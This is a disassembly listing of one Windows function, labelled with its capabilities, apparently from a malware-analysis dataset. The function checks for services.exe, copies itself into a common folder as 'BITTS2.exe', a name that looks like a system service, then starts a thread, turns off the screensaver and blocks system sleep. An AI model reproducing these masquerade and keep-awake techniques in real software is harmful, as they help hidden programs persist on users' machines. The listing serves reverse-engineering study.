Function at 0x10008bc2
Capabilities:
Copy file
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x1003853b
mov eax, dword fs:[0]
push eax
sub esp, 0x850
mov eax, dword [0x10045390]
xor eax, esp
mov dword [esp + 0x848], eax
push ebx
push esi
push edi
mov eax, dword [0x10045390]
xor eax, esp
push eax
lea eax, [esp + 0x860]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call fcn.1000b955
pop ecx
cmp eax, 0xffffffff
je 0x10008cc0
lea ecx, [esp + 0x14]
push ecx
mov ecx, eax
call fcn.1000b9b8
xor ecx, ecx
lea esi, [esp + 0x18]
mov dword [esp], str.services.exe
call fcn.1000cd71
cmp eax, 0xffffffff
je 0x10008cb0
lea edi, [esp + 0x23c]
or esi, 0xffffffff
call fcn.1000b886
xor eax, eax
push 0x206
mov word [esp + 0x38], ax
xor ebx, ebx
lea eax, [esp + 0x3a]
push ebx
push eax
call fcn.100207d0
add esp, 0xc
lea eax, [esp + 0x444]
push eax
push ebx
push ebx
push 0x23
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [esp + 0x444]
push eax
lea eax, [esp + 0x38]
push str._sBITTS2.exe
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push ebx
lea eax, [esp + 0x38]
push eax
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [esp + 0x34]
push eax
call fcn.1000b900
pop ecx
jmp 0x10008cb2
xor ebx, ebx
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
call fcn.1000160d
jmp 0x10008cc2
xor ebx, ebx
push ebx
push ebx
push ebx
push 0x10008b46
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
push 0x11
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
push 0x80000041
call dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
push 6
pop ecx
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], 1
mov dword [esp + 0x28], 0x1003d5f0
call dword [sym.imp.KERNEL32.dll_PowerCreateRequest]
cmp eax, 0xffffffff
je 0x10008d26
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_PowerSetRequest]
mov esi, str.A686911000006E71
push esi
call fcn.10009db6
pop ecx
mov edi, 0x208
push edi
call fcn.10019ca9
pop ecx
mov dword [esp + 0x18], eax
cmp eax, ebx
je 0x10008d5b
push edi
push ebx
push eax
call fcn.100207d0
mov eax, dword [esp + 0x24]
add esp, 0xc
mov dword [esp + 0x10], eax
jmp 0x10008d5f
mov dword [esp + 0x10], ebx
push edi
push dword [esp + 0x14]
mov edi, SysReAllocString
push 1
push str.TIME
push esi
push edi
call fcn.10009ddb
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 0x18
push dword [esp + 0x10]
call ebx
test eax, eax
jle 0x10008da1
cmp dword [esp + 0x10], 0
je 0x10008e20
push dword [esp + 0x10]
call fcn.1001d3d4
pop ecx
jmp 0x10008e20
lea eax, [esp + 0x10]
push eax
call fcn.100099ec
pop ecx
and dword [esp + 0x868], 0
mov eax, dword [esp + 0x10]
cmp dword [eax - 4], 1
jle 0x10008dcf
push dword [eax - 0xc]
lea eax, [esp + 0x14]
push eax
call fcn.10001706
mov eax, dword [esp + 0x10]
cmp dword [eax - 4], 1
mov dword [esp + 0x18], eax
jle 0x10008dea
push dword [eax - 0xc]
lea eax, [esp + 0x14]
push eax
call fcn.10001706
mov eax, dword [esp + 0x10]
push dword [esp + 0x18]
mov dword [esp + 0x18], eax
call ebx
add eax, eax
push eax
push dword [esp + 0x18]
push str.TIME
push 3
push esi
push edi
call fcn.10009fcd
or dword [esp + 0x880], 0xffffffff
mov eax, dword [esp + 0x28]
add esp, 0x18
add eax, 0xfffffff0
call fcn.1000160d
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x18]
push eax
push 0x1003d60c
xor ebx, ebx
push esi
push edi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x2c], ebx
call fcn.10009f33
mov eax, dword [0x10045344]
add esp, 0x14
mov ecx, 0x10045344
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x10], eax
mov dword [esp + 0x868], 1
cmp dword [esp + 0x18], 0xa
lea eax, [esp + 0x10]
jbe 0x10008e73
push dword [esp + 0x14]
jmp 0x10008e78
push 0x1003d50c
push eax
call fcn.1000cc2e
cmp dword [esp + 0x14], ebx
je 0x10008e8e
push dword [esp + 0x14]
call fcn.1001d3d4
pop ecx
lea eax, [esp + 0x10]
push eax
call fcn.10008ec9
mov eax, dword [esp + 0x14]
pop ecx
add eax, 0xfffffff0
call fcn.1000160d
mov ecx, dword [esp + 0x860]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x848]
xor ecx, esp
call fcn.1001c645
mov esp, ebp
pop ebp
ret